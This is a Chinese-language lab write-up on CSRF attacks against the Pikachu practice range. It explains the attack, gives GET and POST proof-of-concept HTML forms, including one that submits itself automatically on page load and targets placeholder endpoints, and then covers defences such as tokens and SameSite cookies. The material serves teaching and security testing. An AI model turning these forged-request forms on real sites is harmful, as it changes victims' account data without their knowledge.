Pikachu靶场-CSRF
字数 1392 2025-08-24 20:49:22

CSRF(跨站请求伪造)攻击原理与防御教学文档

1. CSRF概述

CSRF(Cross-site request forgery,跨站请求伪造)是一种Web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击该请求,攻击即完成,因此CSRF也被称为"one click"攻击。

关键特征:

  • 攻击者利用用户已登录的状态
  • 不需要获取用户的账号密码
  • 通过伪造请求让用户在不知情的情况下执行操作

典型攻击场景:

  1. 攻击者发现目标网站修改个人信息的请求(如:http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
  2. 将该链接伪装后发送给已登录目标网站的用户
  3. 用户点击链接后,个人信息被修改

2. CSRF与XSS的区别

特性 CSRF XSS
权限获取 借用用户权限 直接盗取用户权限(如cookie)
攻击方式 伪造请求让用户执行 注入恶意脚本
依赖条件 需要用户已登录并点击链接 需要存在XSS漏洞

3. CSRF攻击类型与实例

3.1 GET型CSRF

攻击流程:

  1. 攻击者登录自己的账号(如kobe账号)
  2. 修改个人信息并抓包,获取请求URL
  3. 使用Burp Suite生成CSRF PoC(Proof of Concept)
  4. 将PoC保存为HTML文档,包含目标用户的修改信息
  5. 诱骗其他已登录用户(如lucy账号)访问该HTML并提交

示例PoC代码:

<html>
<body>
<script>history.pushState('','','/')</script>
<form action="http://target.com/csrf_get_edit.php">
  <input type="hidden" name="sex" value="boy" />
  <input type="hidden" name="phonenum" value="15988767673" />
  <input type="hidden" name="add" value="nba lakes" />
  <input type="hidden" name="email" value="kobe@pikachu.com" />
  <input type="hidden" name="submit" value="submit" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>

直接URL攻击:

http://target.com/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba lakes&email=kobe@pikachu.com&submit=submit

3.2 POST型CSRF

攻击流程:

  1. 攻击者构造一个自动提交的表单
  2. 将表单托管在公网服务器上
  3. 诱骗已登录用户访问该表单页面
  4. 页面加载后自动提交表单,修改用户信息

示例PoC代码:

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://target.com/csrf_post_edit.php">
  <input id="sex" type="text" name="sex" value="boy" />
  <input id="phonenum" type="text" name="phonenum" value="15988767673" />
  <input id="add" type="text" name="add" value="nba lakes" />
  <input id="email" type="text" name="email" value="kobe@pikachu.com" />
  <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

4. CSRF防御措施

4.1 Token验证

  • 每次请求生成随机token
  • 服务器验证提交的token与session中的token是否匹配
  • token应具有时效性,单次有效

实现要点:

  1. 表单中包含隐藏的token字段
  2. 服务器端验证token有效性
  3. 每次提交后更新token

4.2 验证码

  • 敏感操作要求输入验证码
  • 可防止自动化CSRF攻击

4.3 二次验证

  • 修改敏感信息前验证旧密码
  • 关键操作增加确认步骤

4.4 SameSite Cookie属性

  • 设置Cookie的SameSite属性为Strict或Lax
  • 防止跨站请求携带Cookie

4.5 检查Referer头部

  • 验证请求来源是否为合法域名
  • 但可能被某些浏览器配置或扩展绕过

5. 实际测试方法

  1. 测试GET请求

    • 检查敏感操作是否通过GET请求完成
    • 尝试直接通过URL修改参数
  2. 测试POST请求

    • 构造自动提交表单
    • 检查是否缺少token或验证机制
  3. 检查Token实现

    • 验证token是否随机且单次有效
    • 尝试重用token或使用空token
  4. 验证Referer检查

    • 修改或删除Referer头部测试是否绕过

6. 总结

CSRF攻击成功需要三个关键条件:

  1. 目标网站存在可伪造的敏感操作
  2. 用户已登录目标网站
  3. 用户被诱骗点击恶意链接或访问恶意页面

防御CSRF的核心原则是确保敏感操作不能被轻易伪造,通过token、验证码等多重验证机制确保请求的合法性。

CSRF(跨站请求伪造)攻击原理与防御教学文档 1. CSRF概述 CSRF(Cross-site request forgery,跨站请求伪造)是一种Web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击该请求,攻击即完成,因此CSRF也被称为"one click"攻击。 关键特征: 攻击者利用用户已登录的状态 不需要获取用户的账号密码 通过伪造请求让用户在不知情的情况下执行操作 典型攻击场景: 攻击者发现目标网站修改个人信息的请求(如: http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change ) 将该链接伪装后发送给已登录目标网站的用户 用户点击链接后,个人信息被修改 2. CSRF与XSS的区别 | 特性 | CSRF | XSS | |------|------|-----| | 权限获取 | 借用用户权限 | 直接盗取用户权限(如cookie) | | 攻击方式 | 伪造请求让用户执行 | 注入恶意脚本 | | 依赖条件 | 需要用户已登录并点击链接 | 需要存在XSS漏洞 | 3. CSRF攻击类型与实例 3.1 GET型CSRF 攻击流程: 攻击者登录自己的账号(如kobe账号) 修改个人信息并抓包,获取请求URL 使用Burp Suite生成CSRF PoC(Proof of Concept) 将PoC保存为HTML文档,包含目标用户的修改信息 诱骗其他已登录用户(如lucy账号)访问该HTML并提交 示例PoC代码: 直接URL攻击: 3.2 POST型CSRF 攻击流程: 攻击者构造一个自动提交的表单 将表单托管在公网服务器上 诱骗已登录用户访问该表单页面 页面加载后自动提交表单,修改用户信息 示例PoC代码: 4. CSRF防御措施 4.1 Token验证 每次请求生成随机token 服务器验证提交的token与session中的token是否匹配 token应具有时效性,单次有效 实现要点: 表单中包含隐藏的token字段 服务器端验证token有效性 每次提交后更新token 4.2 验证码 敏感操作要求输入验证码 可防止自动化CSRF攻击 4.3 二次验证 修改敏感信息前验证旧密码 关键操作增加确认步骤 4.4 SameSite Cookie属性 设置Cookie的SameSite属性为Strict或Lax 防止跨站请求携带Cookie 4.5 检查Referer头部 验证请求来源是否为合法域名 但可能被某些浏览器配置或扩展绕过 5. 实际测试方法 测试GET请求 : 检查敏感操作是否通过GET请求完成 尝试直接通过URL修改参数 测试POST请求 : 构造自动提交表单 检查是否缺少token或验证机制 检查Token实现 : 验证token是否随机且单次有效 尝试重用token或使用空token 验证Referer检查 : 修改或删除Referer头部测试是否绕过 6. 总结 CSRF攻击成功需要三个关键条件: 目标网站存在可伪造的敏感操作 用户已登录目标网站 用户被诱骗点击恶意链接或访问恶意页面 防御CSRF的核心原则是确保敏感操作不能被轻易伪造,通过token、验证码等多重验证机制确保请求的合法性。